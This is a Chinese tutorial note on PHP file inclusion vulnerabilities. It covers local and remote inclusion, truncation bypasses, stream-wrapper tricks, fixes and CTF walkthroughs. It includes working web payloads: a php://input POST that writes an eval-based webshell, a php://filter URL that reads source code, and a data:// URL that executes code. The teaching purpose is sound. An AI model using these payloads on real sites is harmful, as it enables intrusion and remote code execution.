第31天:WEB漏洞~文件操作之文件包含漏洞全解

第31天:WEB漏洞~文件操作之文件包含漏洞全解

目录

  • 1. 文件包含漏洞
    • 1.1. 原理、检测、类型、修复
    • 1.2. 无限制&有限制的包含
      • 1.2.1 本地包含
      • 1.2.2 远程包含
    • 1.3. 协议流
      • php://
        • php://input
        • php://filter
      • file://
      • data://
  • 2. 示例
    • 2.1. 本地文件包含代码测试-原理
    • 2.2. 远程文件包含代码测试-原理
    • 2.3. 各种协议流提交流测试-协议
      • php://input & php://filter
      • file://
      • data://,执行php代码
    • 2.4. 某 CMS 程序文件包含利用-黑盒
    • 2.5. CTF-南邮大,春秋百度杯真题-白盒
      • 2.5.1 CTF-南邮大
      • 2.5.2 春秋学院

1. 文件包含漏洞

在这里插入图片描述

1.1. 原理、检测、类型、修复

  1. 原理: 网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件。浅谈文件包含漏洞

文件包含各个脚本代码 ASP,PHP,JSP,ASPX等
<! –#include file=“1.asp” –>

<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%> <?php Include('test.php')?>

  1. 检测
    黑盒测试,参数值如果为文件名,则可以尝试
  2. 类型:本地包含(只可引入网站本地文件)、远程包含(包含远程网址文件,危害相较大)。两种包含类型亦各分为有限制与无限制
  3. 修复
  1. 首先是无解的WAF产品
  2. 固定后缀:添加文件后缀到所包含的文件名。实战情况下不清楚所添加的后缀,未知将在造成更多的疑虑,但是可以测一测
  3. 固定文件:似与C语言头文件,不进行所包含文件的修改,都定下来。
  4. 对可变的所包含文件名进行检测!

1.2. 无限制&有限制的包含

无限制为直接直接包含文件:

<?php
$filename=$_GET['filename'];
include($filename);
?>

有限制为直接直接包含文件:以添加固定后缀为例

<?php
$filename=$_GET['filename'];
include($filename.".html");
?>

1.2.1 本地包含

无限制:可直接包含http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
有限制:即漏洞使用有干扰,则需要特殊方法绕过

%00 截断:条件:magic_quotes_gpc = off pho版本<5.3.4
长度截断:条件:区分操作系统:windows点号需要长于256;linux长于4096

1.2.2 远程包含

无限制:直接包含:http://192.168.114.11/webinclude.php?filename=http://www.xiaodi8.com/readme.txt

限制强制添加.html 可以用以上的符号 ?%23(#注释符吧)%20(空格)(不可用)

1.3. 协议流

  1. 首先确认当前搭建网站的环境所支持的协议
    脚本所支持的协议:【图】
  2. 以php网站为例,原文链接:php伪协议
    各协议的利用条件和方法,php.ini参数设置需求:
    在这里插入图片描述

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://input

  1. php://filter用于读取源码
  2. php://input用于执行php代码

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

  1. 当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  2. 注:当enctype=”multipart/form-data”时,php://input是无效的

http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php://filter

读取文件源码用法:
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
http://127.0.0.1:8080/include.php?filename=file://D:/phpstudy/PHPTutorial/WWW/1.txt

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>

2. 示例

2.1. 本地文件包含代码测试-原理

本地准备 phpinfo的txt文件

http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
大多代码语言文件包含中可添加路径以读取其他路径下文件:../../d:\

有限制时:以添加 .html后缀为例

在这里插入图片描述

2.2. 远程文件包含代码测试-原理

对于远程包含,若php环境禁止,即没有远程包含功能

在这里插入图片描述

  1. 无限制时直接包含:
    在这里插入图片描述
  2. 以添加 .html后缀为例的限制级:
    在这里插入图片描述

2.3. 各种协议流提交流测试-协议

php://input & php://filter

在这里插入图片描述

在这里插入图片描述

file://

所查询的文件将以php代码执行

在这里插入图片描述

data://,执行php代码

在这里插入图片描述

2.4. 某 CMS 程序文件包含利用-黑盒

网站源码:转载自迪师傅 提取码: 5phi
易酷CMS2.5本地文件包含漏洞复现

2.5. CTF-南邮大,春秋百度杯真题-白盒

2.5.1 CTF-南邮大

链接:CTF-南邮大

  1. 根据跳转链接敏感词 file=show.php (黑盒手工看参数及功能点)

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

  1. 直接访问 show.php 也可以正常显示,判断网站机制是将文件包含进主文件以展示
  2. 测试使用 php://input 被拒绝,尝试无所谓开启的文件读取功能
    在这里插入图片描述

2.5.2 春秋学院

春秋学院
没有认证码没有认证资料…

在这里插入图片描述


                       

点击阅读全文

上一篇 2023年 5月 26日 am10:14
下一篇 2023年 5月 26日 am10:15